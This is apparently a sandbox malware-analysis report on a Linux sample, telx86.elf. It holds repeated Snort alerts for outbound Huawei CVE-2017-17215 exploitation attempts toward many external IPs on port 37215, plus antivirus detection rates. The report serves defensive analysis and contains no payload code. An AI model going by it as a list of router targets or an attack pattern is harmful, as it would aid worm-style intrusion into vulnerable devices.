ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.224.9.192

Timestamp:	192.168.2.13156.224.9.19249256372152835222 01/01/24-12:54:59.642313
SID:	2835222
Source Port:	49256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.235.101.222

Timestamp:	192.168.2.13156.235.101.22234100372152835222 01/01/24-12:54:27.483325
SID:	2835222
Source Port:	34100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.122.192.44

Timestamp:	192.168.2.1394.122.192.4434538372152829579 01/01/24-12:54:19.806591
SID:	2829579
Source Port:	34538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 154.214.76.238

Timestamp:	192.168.2.13154.214.76.23833396372152829579 01/01/24-12:54:55.449045
SID:	2829579
Source Port:	33396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.121.100.243

Timestamp:	192.168.2.1394.121.100.24358266372152835222 01/01/24-12:53:16.350324
SID:	2835222
Source Port:	58266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 154.194.151.184

Timestamp:	192.168.2.13154.194.151.18451980372152835222 01/01/24-12:52:41.681881
SID:	2835222
Source Port:	51980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.88.126

Timestamp:	192.168.2.13156.241.88.12641390372152835222 01/01/24-12:52:55.666022
SID:	2835222
Source Port:	41390
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.121.183.47

Timestamp:	192.168.2.1394.121.183.4747418372152835222 01/01/24-12:52:28.700931
SID:	2835222
Source Port:	47418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.121.217.135

Timestamp:	192.168.2.1394.121.217.13540196372152829579 01/01/24-12:53:31.723234
SID:	2829579
Source Port:	40196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.187.98.17

Timestamp:	192.168.2.1394.187.98.1737486372152829579 01/01/24-12:53:19.239608
SID:	2829579
Source Port:	37486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.120.26.94

Timestamp:	192.168.2.1394.120.26.9451658372152829579 01/01/24-12:55:08.178875
SID:	2829579
Source Port:	51658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.122.192.44

Timestamp:	192.168.2.1394.122.192.4434538372152835222 01/01/24-12:54:19.806591
SID:	2835222
Source Port:	34538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.88.126

Timestamp:	192.168.2.13156.241.88.12641390372152829579 01/01/24-12:52:55.666022
SID:	2829579
Source Port:	41390
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.77.135.37

Timestamp:	192.168.2.13156.77.135.3733324372152829579 01/01/24-12:54:27.187725
SID:	2829579
Source Port:	33324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.81.175

Timestamp:	192.168.2.13156.241.81.17540264372152829579 01/01/24-12:53:31.429922
SID:	2829579
Source Port:	40264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.235.101.222

Timestamp:	192.168.2.13156.235.101.22234100372152829579 01/01/24-12:54:27.483325
SID:	2829579
Source Port:	34100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.77.139.235

Timestamp:	192.168.2.13156.77.139.23551108372152835222 01/01/24-12:53:01.425970
SID:	2835222
Source Port:	51108
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 154.201.16.9

Timestamp:	192.168.2.13154.201.16.940302372152829579 01/01/24-12:52:47.682060
SID:	2829579
Source Port:	40302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 122.114.75.214

Timestamp:	192.168.2.13122.114.75.21451586372152835222 01/01/24-12:54:47.147031
SID:	2835222
Source Port:	51586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.77.138.242

Timestamp:	192.168.2.13156.77.138.24237286372152835222 01/01/24-12:54:24.868705
SID:	2835222
Source Port:	37286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.44.194.104

Timestamp:	192.168.2.1341.44.194.10446160372152829579 01/01/24-12:52:33.808440
SID:	2829579
Source Port:	46160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.120.147.144

Timestamp:	192.168.2.1394.120.147.14459994372152835222 01/01/24-12:52:21.987732
SID:	2835222
Source Port:	59994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 154.38.240.217

Timestamp:	192.168.2.13154.38.240.21750598372152835222 01/01/24-12:52:32.467253
SID:	2835222
Source Port:	50598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.187.98.17

Timestamp:	192.168.2.1394.187.98.1737486372152835222 01/01/24-12:53:19.239608
SID:	2835222
Source Port:	37486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.120.53.15

Timestamp:	192.168.2.1394.120.53.1553578372152835222 01/01/24-12:54:42.713107
SID:	2835222
Source Port:	53578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 154.194.151.184

Timestamp:	192.168.2.13154.194.151.18451980372152829579 01/01/24-12:52:41.681881
SID:	2829579
Source Port:	51980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.247.29.146

Timestamp:	192.168.2.13156.247.29.14646856372152829579 01/01/24-12:54:24.746893
SID:	2829579
Source Port:	46856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.47.126.248

Timestamp:	192.168.2.1341.47.126.24858920372152829579 01/01/24-12:55:08.519752
SID:	2829579
Source Port:	58920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 154.194.156.9

Timestamp:	192.168.2.13154.194.156.944364372152835222 01/01/24-12:53:37.913940
SID:	2835222
Source Port:	44364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 95.86.93.65

Timestamp:	192.168.2.1395.86.93.6537564372152835222 01/01/24-12:54:27.356896
SID:	2835222
Source Port:	37564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.121.223.30

Timestamp:	192.168.2.1394.121.223.3054080372152829579 01/01/24-12:54:08.265250
SID:	2829579
Source Port:	54080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.89.197

Timestamp:	192.168.2.13156.254.89.19738754372152829579 01/01/24-12:52:26.390386
SID:	2829579
Source Port:	38754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.111.167

Timestamp:	192.168.2.13156.254.111.16756186372152829579 01/01/24-12:53:35.339536
SID:	2829579
Source Port:	56186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 95.86.93.65

Timestamp:	192.168.2.1395.86.93.6537564372152829579 01/01/24-12:54:27.356896
SID:	2829579
Source Port:	37564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.109.44

Timestamp:	192.168.2.13156.254.109.4436226372152829579 01/01/24-12:53:10.099040
SID:	2829579
Source Port:	36226
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.224.12.97

Timestamp:	192.168.2.13156.224.12.9750728372152835222 01/01/24-12:53:54.123972
SID:	2835222
Source Port:	50728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.224.15.173

Timestamp:	192.168.2.13156.224.15.17353066372152829579 01/01/24-12:54:08.013847
SID:	2829579
Source Port:	53066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.108.19

Timestamp:	192.168.2.13156.254.108.1939188372152829579 01/01/24-12:53:37.908340
SID:	2829579
Source Port:	39188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.253.32.91

Timestamp:	192.168.2.13156.253.32.9139366372152835222 01/01/24-12:54:22.408029
SID:	2835222
Source Port:	39366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.103.98

Timestamp:	192.168.2.13156.241.103.9856426372152829579 01/01/24-12:53:55.957508
SID:	2829579
Source Port:	56426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.224.12.97

Timestamp:	192.168.2.13156.224.12.9750728372152829579 01/01/24-12:53:54.123972
SID:	2829579
Source Port:	50728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.120.53.15

Timestamp:	192.168.2.1394.120.53.1553578372152829579 01/01/24-12:54:42.713107
SID:	2829579
Source Port:	53578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 95.86.74.133

Timestamp:	192.168.2.1395.86.74.13336632372152829579 01/01/24-12:53:05.160771
SID:	2829579
Source Port:	36632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.77.139.235

Timestamp:	192.168.2.13156.77.139.23551108372152829579 01/01/24-12:53:01.425970
SID:	2829579
Source Port:	51108
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.224.15.173

Timestamp:	192.168.2.13156.224.15.17353066372152835222 01/01/24-12:54:08.013847
SID:	2835222
Source Port:	53066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.120.26.94

Timestamp:	192.168.2.1394.120.26.9451658372152835222 01/01/24-12:55:08.178875
SID:	2835222
Source Port:	51658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.117.127

Timestamp:	192.168.2.13156.241.117.12742554372152835222 01/01/24-12:53:38.215786
SID:	2835222
Source Port:	42554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.109.44

Timestamp:	192.168.2.13156.254.109.4436226372152835222 01/01/24-12:53:10.099040
SID:	2835222
Source Port:	36226
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.120.244.197

Timestamp:	192.168.2.1394.120.244.19755182372152829579 01/01/24-12:55:15.190512
SID:	2829579
Source Port:	55182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: telx86.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: telx86.elf	ReversingLabs: Detection: 57%
Source: telx86.elf	Virustotal: Detection: 58%			Perma Link

Machine Learning detection for sample

Source: telx86.elf

Joe Sandbox ML: detected

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:38940 -> 156.254.95.195:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:38940 -> 156.254.95.195:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:60540 -> 154.201.25.255:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:60540 -> 154.201.25.255:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:36964 -> 156.254.67.112:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:36964 -> 156.254.67.112:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:52438 -> 156.241.120.140:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:52438 -> 156.241.120.140:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:59994 -> 94.120.147.144:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:59994 -> 94.120.147.144:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:37086 -> 154.194.158.236:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:37086 -> 154.194.158.236:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:47146 -> 154.194.133.67:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:47146 -> 154.194.133.67:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:38754 -> 156.254.89.197:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:38754 -> 156.254.89.197:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:47418 -> 94.121.183.47:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:47418 -> 94.121.183.47:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:57614 -> 41.230.12.123:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:57614 -> 41.230.12.123:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:55482 -> 156.253.41.134:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:55482 -> 156.253.41.134:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:50598 -> 154.38.240.217:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:50598 -> 154.38.240.217:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:48284 -> 156.254.74.161:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:48284 -> 156.254.74.161:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:46160 -> 41.44.194.104:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:46160 -> 41.44.194.104:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:56856 -> 156.224.11.140:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:56856 -> 156.224.11.140:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:55862 -> 94.120.42.234:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:55862 -> 94.120.42.234:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:51980 -> 154.194.151.184:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:51980 -> 154.194.151.184:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:57890 -> 92.95.231.79:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:57890 -> 92.95.231.79:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:46400 -> 94.121.149.145:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:46400 -> 94.121.149.145:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:38470 -> 156.241.9.142:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:38470 -> 156.241.9.142:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:40302 -> 154.201.16.9:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:40302 -> 154.201.16.9:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:48402 -> 156.241.91.192:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:48402 -> 156.241.91.192:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:41390 -> 156.241.88.126:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:41390 -> 156.241.88.126:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:49916 -> 154.194.177.210:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:49916 -> 154.194.177.210:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:35268 -> 156.241.86.49:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:35268 -> 156.241.86.49:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:51108 -> 156.77.139.235:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:51108 -> 156.77.139.235:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:40884 -> 95.86.117.19:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:40884 -> 95.86.117.19:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:36632 -> 95.86.74.133:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:36632 -> 95.86.74.133:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:41588 -> 156.253.42.94:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:41588 -> 156.253.42.94:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:36226 -> 156.254.109.44:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:36226 -> 156.254.109.44:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:46656 -> 160.181.183.93:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:46656 -> 160.181.183.93:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:58266 -> 94.121.100.243:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:58266 -> 94.121.100.243:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:40844 -> 156.241.14.212:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:40844 -> 156.241.14.212:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:58804 -> 156.224.15.81:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:58804 -> 156.224.15.81:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:37486 -> 94.187.98.17:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:37486 -> 94.187.98.17:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:40782 -> 156.254.81.10:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:40782 -> 156.254.81.10:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:49034 -> 156.241.92.88:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:49034 -> 156.241.92.88:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:57624 -> 94.120.161.36:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:57624 -> 94.120.161.36:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:38862 -> 156.254.66.224:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:38862 -> 156.254.66.224:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:53222 -> 94.120.162.18:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:53222 -> 94.120.162.18:37215
